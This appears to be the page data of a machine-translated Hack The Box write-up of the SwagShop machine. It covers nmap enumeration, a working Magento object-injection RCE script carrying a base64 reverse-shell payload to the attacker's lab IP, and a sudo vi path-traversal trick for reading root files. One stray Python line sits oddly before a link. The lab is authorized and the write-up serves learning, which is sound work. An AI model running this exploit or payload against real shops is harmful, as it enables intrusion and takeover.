{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-linux-swagshop-en","result":{"data":{"markdownRemark":{"id":"3ef54427-c2a7-5a19-a706-fa934b4475b9","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I am studying security using “Hack The Box,” a penetration testing learning platform.\nMy current rank on Hack The Box is ProHacker at the time of writing.

\n\n \n \n \n \n \n \"Hack\n \n \n \n

This is a writeup for the HackTheBox retired machine “SwagShop.”

\n\n

About This Article

\n

The content of this article is not intended to promote any actions that violate social order.

\n

Please note in advance that attempting to attack environments you do not own or have not been authorized to access may violate the ‘Act on Prohibition of Unauthorized Computer Access’ (Unauthorized Access Prohibition Act).

\n

All opinions expressed here are my own and do not represent any organization I belong to.

\n\n

Table of Contents

\n\n

Enumeration

\n

Starting with the usual enumeration.

\n
# ターゲットマシンのIPをHOSTSに追加して高速スキャ\nsudo sed -i 's/^[0-9].*$RHOST/10.10.10.140  $RHOST/g' /etc/hosts\nnmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt\n\n# All ports\nnmap -p- $RHOST -Pn -sC -sV -A  | tee nmap_max.txt
\n

Port 1717 appears to be open.

\n
PORT     STATE    SERVICE  VERSION\n22/tcp   open     ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)\n|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)\n|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)\n80/tcp   open     http     Apache httpd 2.4.18 ((Ubuntu))\n|_http-title: Did not follow redirect to http://swagshop.htb/\n|_http-server-header: Apache/2.4.18 (Ubuntu)\n1717/tcp filtered fj-hdnet\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
\n

I’m not sure what service is running on port 1717, but connecting to port 80 shows what appears to be an e-commerce site.

\n

\n \n \n \n \n \n \n \n \n

\n

The running service appears to be Magento, Varien, E-commerce.

\n

Searching for exploits revealed the following three:

\n
$ searchsploit -m xml/webapps/37977.py\n$ searchsploit -m php/webapps/50896.txt\n$ searchsploit -m php/webapps/19793.txt
\n

After trying the 37977.py exploit, I was able to log into what appears to be the Magento admin panel.

\n

\n \n \n \n \n \n \n \n \n

\n

The portal information revealed the version is 1.9.0, so I used the following exploit.

\n

os.environ[‘PYGAMEHIDESUPPORT_PROMPT’] = ‘hide’Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution : php/webapps/37811.py · GitHub

\n

However, I couldn’t get a reverse shell with the original code, so I modified it slightly.

\n

I was ultimately able to get a shell with the following code.

\n
#!/usr/bin/python\n# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE \n# Google Dork: \"Powered by Magento\"\n# Date: 08/18/2015\n# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com\n# Vendor Homepage: http://magento.com/\n# Software Link: https://www.magentocommerce.com/download\n# Version: 1.9.0.1 and below\n# Tested on: Ubuntu 15\n# CVE : none\n\nfrom hashlib import md5\nimport sys\nimport re\nimport base64\nimport mechanize\n\n\n# Command-line args\ntarget = \"http://swagshop.htb/index.php/admin/dashboard/index/key/82a57578bfedeb8b93faded780acce0d/\"\nbase = \"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvNDQ0NCAwPiYxCg==\"\narg = \"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvNDQ0NCAwPiYxCg==' | base64 -d | /bin/bash\"\n\n# Config.\nusername = 'forme'\npassword = 'forme'\nphp_function = 'system'  # Note: we can only pass 1 argument to the function\ninstall_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml\n\n# POP chain to pivot into call_user_exec\npayload = 'O:8:\\\"Zend_Log\\\":1:{s:11:\\\"\\00*\\00_writers\\\";a:2:{i:0;O:20:\\\"Zend_Log_Writer_Mail\\\":4:{s:16:' \\\n          '\\\"\\00*\\00_eventsToMail\\\";a:3:{i:0;s:11:\\\"EXTERMINATE\\\";i:1;s:12:\\\"EXTERMINATE!\\\";i:2;s:15:\\\"' \\\n          'EXTERMINATE!!!!\\\";}s:22:\\\"\\00*\\00_subjectPrependText\\\";N;s:10:\\\"\\00*\\00_layout\\\";O:23:\\\"'     \\\n          'Zend_Config_Writer_Yaml\\\":3:{s:15:\\\"\\00*\\00_yamlEncoder\\\";s:%d:\\\"%s\\\";s:17:\\\"\\00*\\00'     \\\n          '_loadedSection\\\";N;s:10:\\\"\\00*\\00_config\\\";O:13:\\\"Varien_Object\\\":1:{s:8:\\\"\\00*\\00_data\\\"' \\\n          ';s:%d:\\\"%s\\\";}}s:8:\\\"\\00*\\00_mail\\\";O:9:\\\"Zend_Mail\\\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,\n                                                                                     len(arg), arg)\n# Setup the mechanize browser and options\nbr = mechanize.Browser()\n# br.set_proxies({\"http\": \"localhost:8080\"})\nbr.set_handle_robots(False)\n\nrequest = br.open(target)\n\nbr.select_form(nr=0)\n#br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.\nbr.form.fixup()\nbr['login[username]'] = username\nbr['login[password]'] = password\n\nbr.method = \"POST\"\nrequest = br.submit()\ncontent = request.read()\n\n# print(content)\n\nurl = re.search(\"ajaxBlockUrl = \\'(.*)\\'\", content)\nurl = url.group(1)\nkey = re.search(\"var FORM_KEY = '(.*)'\", content)\nkey = key.group(1)\n\nrequest = br.open(url + 'block/tab_orders/period/2y/?isAjax=true', data='isAjax=false&form_key=' + key)\ntunnel = re.search(\"src=\\\"(.*)\\?ga=\", request.read())\ntunnel = tunnel.group(1)\n\npayload = base64.b64encode(payload)\ngh = md5(payload + install_date).hexdigest()\n\nexploit = tunnel + '?ga=' + payload + '&h=' + gh\n\ntry:\n    request = br.open(exploit)\nexcept (mechanize.HTTPError, mechanize.URLError) as e:\n    print e.read()
\n

However, I only have www-data privileges at this point, so I need to escalate to a user.

\n

\n \n \n \n \n \n \n \n \n

\n

However, even analyzing this password hash with hashcat, I couldn’t recover the password.

\n

Next, I noticed that www-data had the following sudo permission:

\n
www-data ALL=NOPASSWD:/usr/bin/vi /var/www/html/*
\n

This allows vi to be run with sudo on files under /var/www/html/, but interestingly, using a relative path like the following allows opening any file with root privileges:

\n
$ sudo /usr/bin/vi /var/www/html/../../../../../../home/haris/user.txt\n$ sudo /usr/bin/vi /var/www/html/../../../../../../root/root.txt
\n

This allowed me to easily obtain all the flags.

","fields":{"slug":"/hackthebox-linux-swagshop-en","tagSlugs":["/tag/hack-the-box-en/","/tag/linux-en/","/tag/easy-box-en/","/tag/english/"]},"frontmatter":{"date":"2022-08-11","description":"Writeup for the HackTheBox retired machine 'SwagShop'.","tags":["HackTheBox (en)","Linux (en)","EasyBox (en)","English"],"title":"【Easy/Linux】SwagShop Writeup(HackTheBox)","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/hackthebox-linux-swagshop-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}